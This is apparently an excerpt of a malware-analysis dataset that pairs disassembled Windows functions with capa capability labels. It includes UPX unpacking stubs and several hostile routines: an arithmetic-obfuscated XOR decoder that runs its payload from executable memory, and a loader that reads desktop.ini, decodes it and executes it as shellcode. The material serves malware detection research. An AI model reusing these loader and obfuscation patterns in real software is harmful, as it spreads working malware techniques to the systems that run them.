joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448b10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x448b32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x448b39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x448b28
mov eax, 1
add ebx, ebx
jne 0x448b4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x448b5c
jne 0x448b6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x448b6c
dec eax
add ebx, ebx
jne 0x448b68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x448b40
xor ecx, ecx
sub eax, 3
jb 0x448b84
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x448bf6
sar eax, 1
mov ebp, eax
jmp 0x448b8f
add ebx, ebx
jne 0x448b8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x448b9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x448bc0
inc ecx
add ebx, ebx
jne 0x448bac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x448ba1
jne 0x448bbd
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x448ba1
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x448be0
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x448bd1
jmp 0x448b2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x448be0
add edi, ecx
jmp 0x448b2e
pop esi
mov edi, esi
mov ecx, 0x921
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x448bfe
cmp byte [edi], 7
jne 0x448bfe
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x448c03
lea edi, [esi + 0x46000]
mov eax, dword [edi]
or eax, eax
je 0x448c7b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x48990]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x48a08]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x448c30
mov ecx, edi
jns 0x448c5f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x48a0c]
or eax, eax
je 0x448c75
mov dword [ebx], eax
add ebx, 4
jmp 0x448c4d
call dword [esi + 0x48a10]
popal
jmp 0x4150a0

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x414ea0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc000]
push edi
jmp 0x414eba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414ec1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414eb0
mov eax, 1
add ebx, ebx
jne 0x414ed3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414ec8
jne 0x414ee4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414ec8
xor ecx, ecx
sub eax, 3
jb 0x414ef8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414f6a
mov ebp, eax
add ebx, ebx
jne 0x414f03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414f10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414f34
inc ecx
add ebx, ebx
jne 0x414f20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414f15
jne 0x414f31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414f15
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414f54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414f45
jmp 0x414eb6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414f54
add edi, ecx
jmp 0x414eb6
pop esi
mov edi, esi
mov ecx, 0x38f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414f72
cmp byte [edi], 4
jne 0x414f72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414f77
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414fe6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x15000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x150dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414fa4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x150e4]
or eax, eax
je 0x414fe0
mov dword [ebx], eax
add ebx, 4
jmp 0x414fc1
call dword [esi + 0x150e0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x415017
cmp al, 0xef
ja 0x41500a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x414fec
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x414ff9
mov ebp, dword [esi + 0x150e8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41504b
sub esp, 0xffffff80
jmp 0x40c131
Function at 0x406550
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40655f
pop dword [ebp - 0x18]
mov eax, 0xe8ee6948
sub eax, 0xe8ae03e9
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x5c4d714c
sub dword [ebp - 0x28], 0xdfb2c01
mov dword [ebp - 0x24], 0x7f32022d
sub dword [ebp - 0x24], 0x4cfeb5e8
mov dword [ebp - 0x20], 0xc07dad72
add dword [ebp - 0x20], 0x8bce96bc
mov dword [ebp - 0x1c], 0x7cfd821f
sub dword [ebp - 0x1c], 0x7cfd821f
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x6c73eb64
sub dword [ebp - 0x28], 0xf801820e
mov dword [ebp - 0x24], 0xb1d480e7
add dword [ebp - 0x24], 0x8f97e08e
mov dword [ebp - 0x20], 0x8edcc7a4
add dword [ebp - 0x20], 0xd492a4c8
mov dword [ebp - 0x1c], 0x2f3e2d9e
sub dword [ebp - 0x1c], 0x2f3e2d9e
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x3baaad2
add eax, 0xfc86856a
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3c086
push 0
call eax
mov ecx, 0xc2fcc42f
add ecx, 0x3d0389d7
mov ebx, eax
mov esi, 0x70240eec
add esi, 0x901d9114
add esi, dword [ebp - 0x18]
mov edi, 0x4801dd3
sub edi, 0xcbdf42b5
mov dword [ebp - 0x10], 0x5eb23407
mov edx, dword [esi]
xor dword [ebp - 4], edx
add edx, edi
sub dword [ebp - 0xc], 0xb04a41cb
mov dword [ebx], edx
add dword [ebp - 0xc], edx
add ebx, 0x64aa2a99
add ebx, 0x9b55d56b
add esi, 0xb5d15dd2
sub esi, 0xb5d15dce
loop 0x40667c
add eax, 0xf759dd11
sub eax, 0xf758b226
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x203c104e
add ecx, 0xe003efb2
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x410280
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x41029c
mov dword [eax], ecx
jmp 0x41029e
mov eax, ecx
push ecx
push ecx
push esi
push 0x410310
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x401069
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x449030]
jne 0x401073
repz ret
jmp fcn.00401e41

Function at 0x408aeb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404d3a
and dword [ebp - 4], 0
cmp dword [0x44bb68], 0
mov ebx, eax
jne 0x408b9c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408c4d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x408c4d
push eax
call fcn.00404cc8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44bb68], eax
call esi
push eax
call fcn.00404cc8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44bb6c], eax
call esi
push eax
call fcn.00404cc8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44bb70], eax
call esi
push eax
call fcn.00404cc8
pop ecx
mov dword [0x44bb78], eax
test eax, eax
je 0x408b9c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404cc8
pop ecx
mov dword [0x44bb74], eax
mov eax, dword [0x44bb74]
cmp eax, ebx
je 0x408bf4
cmp dword [0x44bb78], ebx
je 0x408bf4
push eax
call fcn.00404d43
push dword [0x44bb78]
mov esi, eax
call fcn.00404d43
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408bf4
test edi, edi
je 0x408bf4
call esi
test eax, eax
je 0x408beb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408beb
test byte [ebp - 0xc], 1
jne 0x408bf4
or dword [ebp + 0x10], 0x200000
jmp 0x408c2d
mov eax, dword [0x44bb6c]
cmp eax, ebx
je 0x408c2d
push eax
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c2d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408c2d
mov eax, dword [0x44bb70]
cmp eax, ebx
je 0x408c2d
push eax
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c2d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44bb68]
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c4d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408c4f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40af50
Capabilities:
Set console window title

Disassembly:
sub esp, 0x820
mov eax, dword [0x449030]
xor eax, esp
mov dword [esp + 0x81c], eax
mov eax, dword [0x2c2955c]
push ebx
mov ebx, dword [0x2c29280]
push esi
mov esi, dword [0x449f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40af91
push str.Kapoza_yodiralozor
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2c2955c]
mov dword [0x44bd0c], esi
cmp eax, 0x114e
jne 0x40afbb
lea eax, [esp + 0xc]
push eax
push str.Gijetuhe_batawuwafadis_fomikayemes_zeruru
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x2c2955c]
cmp eax, 0x2f
jne 0x40afdb
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
call fcn.0040ae50
mov ecx, dword [esp + 0x828]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401069
add esp, 0x820
ret
Function at 0x414b40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe000]
push edi
or ebp, 0xffffffff
jmp 0x414b62
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414b69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414b58
mov eax, 1
add ebx, ebx
jne 0x414b7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414b70
jne 0x414b8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414b70
xor ecx, ecx
sub eax, 3
jb 0x414ba0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414c12
mov ebp, eax
add ebx, ebx
jne 0x414bab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414bb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414bdc
inc ecx
add ebx, ebx
jne 0x414bc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414bbd
jne 0x414bd9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414bbd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414bfc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414bed
jmp 0x414b5e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414bfc
add edi, ecx
jmp 0x414b5e
pop esi
mov edi, esi
mov ecx, 0x43b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414c1a
cmp byte [edi], 0
jne 0x414c1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414c1f
lea edi, [esi + 0x12000]

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x78a51ecf
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x7e063700
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c01c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x40c028
push 0x40c024
push 0x40c020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x40c028]
push dword [0x40c024]
push dword [0x40c020]
mov dword [0x40c014], esp
call fcn.00401ba5
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40129c
Capabilities:
Terminate process

Disassembly:
push 0x40b410
push dword [0x40b870]
push str.error_at_line__d_symbol__s_n
call fcn.00407a4a
add esp, 0xc
push 0
call sub.CRTDLL.DLL_exit
add esp, 4
ret

Function at 0x4017d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
mov dword [ebp - 4], 0
jmp 0x401864
mov edi, dword [ebp - 4]
mov edi, dword [edi*8 + 0x40805c]
mov dword [ebp - 0x10], edi
mov edi, dword [ebp - 4]
mov edi, dword [edi*8 + 0x408060]
mov dword [ebp - 0xc], edi
mov eax, 0x24
mul dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov edi, dword [ebp - 0x14]
mov edi, dword [edi + 0x4086cc]
mov dword [ebp - 8], edi
cmp dword [ebp - 8], 0xffffffff
jne 0x401849
mov eax, 0x24
mul dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov edi, dword [ebp - 0x18]
lea edi, [edi + 0x4086ac]
push edi
push str.symbol__s_undefined_n
call fcn.00407a4a
add esp, 8
push 0
call sub.CRTDLL.DLL_exit
add esp, 4
mov eax, 0x14
mul dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov edi, dword [ebp - 8]
mov esi, dword [ebp - 0x18]
mov dword [esi + 0x4094dc], edi
inc dword [ebp - 4]
mov edi, dword [0x408050]
cmp dword [ebp - 4], edi
jl 0x4017e4
pop edi
pop esi
leave
ret
Function at 0x40324c
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
cmp dword [0x405770], ebx
jne 0x40327a
push fcn.00403219
push 0x10
push 0x148
call fcn.0040345c
mov dword [0x405770], eax
mov esi, dword [ebp + 0xc]
cmp esi, ebx
jne 0x403286
mov esi, section..rdata
push 0x104
lea eax, [ebp - 0x108]
push esi
push eax
call sub.MSVCRT.dll_strncpy
push esi
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp eax, ebx
je 0x4032c2
cmp byte [eax + esi - 1], 0x5c
je 0x4032c2
lea eax, [ebp - 0x108]
push 0x404014
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
mov eax, dword [ebp + 0x10]
cmp eax, ebx
je 0x4032cd
cmp byte [eax], bl
jne 0x4032d2
mov eax, 0x404018
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push dword [ebp + 8]
push dword [0x405770]
call fcn.00403397
mov esi, eax
lea eax, [esi + 8]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x40330e
mov dword [esi + 4], ebx
jmp 0x403320
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x403324
mov dword [esi + 4], 1
mov edi, esi
jmp 0x403338
cmp dword [ebp + 8], 0xffffffff
jne 0x403336
push esi
push dword [0x405770]
call fcn.00403426
mov dword [esi], ebx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x403386
Capabilities:
Set file attributes

Disassembly:
xor eax, eax
cmp dword [esp + 4], eax
je 0x403394
jmp dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4037c8
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x24
push 0x402df0
call fcn.00403a30
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x403803
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403803
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40381b
cmp eax, 0x20b
je 0x403808
mov dword [ebp - 0x1c], edi
jmp 0x40382f
cmp dword [ecx + 0x84], 0xe
jbe 0x403803
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x403829
cmp dword [ecx + 0x74], 0xe
jbe 0x403803
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], edi
push 1
call dword [sym.imp.MSVCR70.dll___set_app_type]
pop ecx
or dword [0x404240], 0xffffffff
or dword [0x404244], 0xffffffff
call dword [sym.imp.MSVCR70.dll___p__fmode]
mov ecx, dword [0x404230]
mov dword [eax], ecx
call dword [sym.imp.MSVCR70.dll___p__commode]
mov ecx, dword [0x40422c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR70.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40423c], eax
call fcn.0040398c
call fcn.00403a2f
cmp dword [0x404010], edi
jne 0x40388f
push 0x403a2c
call dword [sym.imp.MSVCR70.dll___setusermatherr]
pop ecx
call fcn.00403a1a
push 0x40400c
push 0x404008
call sub.MSVCR70.dll__initterm
push 0x4039d0
call fcn.0040397a
mov eax, dword [0x404228]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [0x404224]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR70.dll___wgetmainargs]
push 0x404004
push section..data
call sub.MSVCR70.dll__initterm
call dword [sym.imp.MSVCR70.dll___p___winitenv]
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.004031b8
add esp, 0x34
mov esi, eax
mov dword [ebp - 0x30], esi
cmp dword [ebp - 0x1c], edi
jne 0x40390d
push esi
call dword [sym.imp.MSVCR70.dll_exit]
call dword [sym.imp.MSVCR70.dll__cexit]
jmp 0x403942
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00403a69
ret
Function at 0x1002dee4
Capabilities:
Terminate process

Disassembly:
push 0xc
mov eax, 0x100ba33e
call fcn.1004a303
mov edi, ecx
mov dword [ebp - 0x18], edi
xor edx, edx
mov dword [edi], edx
mov dword [ebp - 4], 1
cmp dword [ebp + 8], edx
je 0x1002df81
mov esi, dword [ebp + 8]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, dx
jne 0x1002df0b
sub esi, ecx
sar esi, 1
inc esi
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10095123
pop ecx
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x1002df4e
push 0x100bffd8
lea eax, [ebp + 8]
push eax
mov dword [ebp + 8], 0x8007000e
call sub.msvcr100.dll__CxxThrowException
lea ecx, [esi + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
ja 0x1002df6f
push 2
pop eax
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
push ecx
push dword [ebp + 8]
push eax
call sub.msvcr100.dll_memcpy
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov dword [edi], eax
or dword [ebp - 4], 0xffffffff
mov eax, edi
call fcn.1004a3db
ret 4

Function at 0x1002e0e4
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x224
mov eax, 0x100ba387
call fcn.1004a36c
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp + 0x14]
xor ecx, ecx
mov dword [ebp - 0x230], eax
mov esi, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], 0x208
test eax, eax
je 0x1002e147
push eax
mov dword [ebp - 0x21c], ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor ecx, ecx
lea eax, [ebp - 0x21c]
push eax
push 1
push ecx
push dword [ebp - 0x22c]
push edi
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
mov edi, 0xffff
test eax, eax
je 0x1002e17b
mov esi, eax
jle 0x1002e173
and esi, edi
or esi, 0x80070000
test esi, esi
js 0x1002e231
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push dword [ebp - 0x228]
push dword [ebp - 0x21c]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
je 0x1002e1b4
mov esi, eax
jle 0x1002e1b4
and esi, edi
or esi, 0x80070000
test esi, esi
js 0x1002e231
cmp dword [ebp - 0x224], 1
je 0x1002e1d1
cmp dword [ebp - 0x224], 7
je 0x1002e1d1
mov esi, 0x8000ffff
jmp 0x1002e231
mov eax, dword [ebp - 0x220]
xor ecx, ecx
push 2
shr eax, 1
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10095123
mov edi, eax
pop ecx
test edi, edi
jne 0x1002e20f
push 0x100bffd8
lea eax, [ebp - 0x228]
push eax
mov dword [ebp - 0x228], 0x8007000e
call sub.msvcr100.dll__CxxThrowException
mov ecx, dword [ebp - 0x230]
push edi
call fcn.10095123
push dword [ebp - 0x220]
lea eax, [ebp - 0x218]
push eax
push edi
call sub.msvcr100.dll_memcpy
add esp, 0xc
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x21c]
test ecx, ecx
je 0x1002e24d
and dword [ebp - 0x21c], 0
push ecx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, esi
call fcn.1004a3ef
ret 0x10